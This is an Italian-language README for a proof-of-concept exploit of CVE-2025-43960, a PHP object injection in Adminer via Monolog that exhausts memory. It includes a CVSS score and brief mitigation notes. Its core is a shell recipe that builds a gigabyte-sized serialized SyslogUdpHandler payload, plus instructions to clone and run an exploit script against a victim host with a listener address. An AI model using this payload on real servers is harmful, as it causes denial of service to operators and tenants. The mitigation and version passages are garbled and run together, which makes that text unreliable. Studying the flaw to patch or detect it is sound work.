
Exploit di Object Injection PHP per Adminer <4.8.1 tramite Monolog, che causa Denial of Service attraverso payload serializzati appositamente creati. Include PoC, punteggio CVSS e indicazioni di mitigazione.
Dopo mesi di attesa per una risposta da MITRE, ho ottenuto CVE-2025-43960 con un attacco di Iniezione di Oggetti PHP contro il servizio Adminer (<4.8.1), causando una Negazione del Servizio (DoS) tramite Manipolazione della Memoria.
https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458
Questa vulnerabilità consente a aggressori remoti non autenticati di sfruttare le istanze di Adminer 4.8.1 che utilizzano Monolog, causando una Negazione del Servizio (DoS) tramite Iniezione di Oggetti PHP. Il vettore di attacco non richiede autenticazione né interazione da parte dell'utente, rendendolo un problema di elevata gravità (CVSS 7.5) con potenziale di escalation a 8.6 in determinati ambienti condivisi.
Adminer 4.8.1, quando utilizza Monolog per il logging, permette una negazione del servizio (consumo di memoria) tramite un payload serializzato appositamente creato, come una stringa s:1000000000, noto come problema di Iniezione di Oggetti PHP. La vulnerabilità colpisce le istanze di Adminer che utilizzano Monolog per il logging, dove l'input utente non affidabile viene deserializzato senza una corretta validazione.
Inviando un grande oggetto deserializzato, un aggressore può forzare un elevato consumo di memoria, rendendo l'interfaccia di Adminer non reattiva e causando un DoS a livello di server.
Punteggio Base: 7.5 (Alto)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Nota su distribuzioni specifiche:
Se l'arresto di Adminer interrompe anche altri servizi/tenant (es. container o processo condiviso), Scope: Changed potrebbe applicarsi:
- Vector:
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H- Score: 8.6 (Alto)
unserialize() su dati non affidabili in Adminer e Monolog.memory_limit) in PHP per prevenire un consumo eccessivo di risorse.allowed_classes in unserialize() per limitare la deserializzazione di classi non autorizzate.< 4.8.1 (ultima versione stabile al momento del test)unserialize()Generazione del payload:
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
s:9:"*socket";r:2;
s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
}' > payload.txt
Impatto:
python3 --version nel tuo terminale.git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960
pip install -r requirement.txt
python3 cve-2025-43960.py
python3 cve-2025-43960.py
Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
Fabian Rosales (@far00t01) Medium.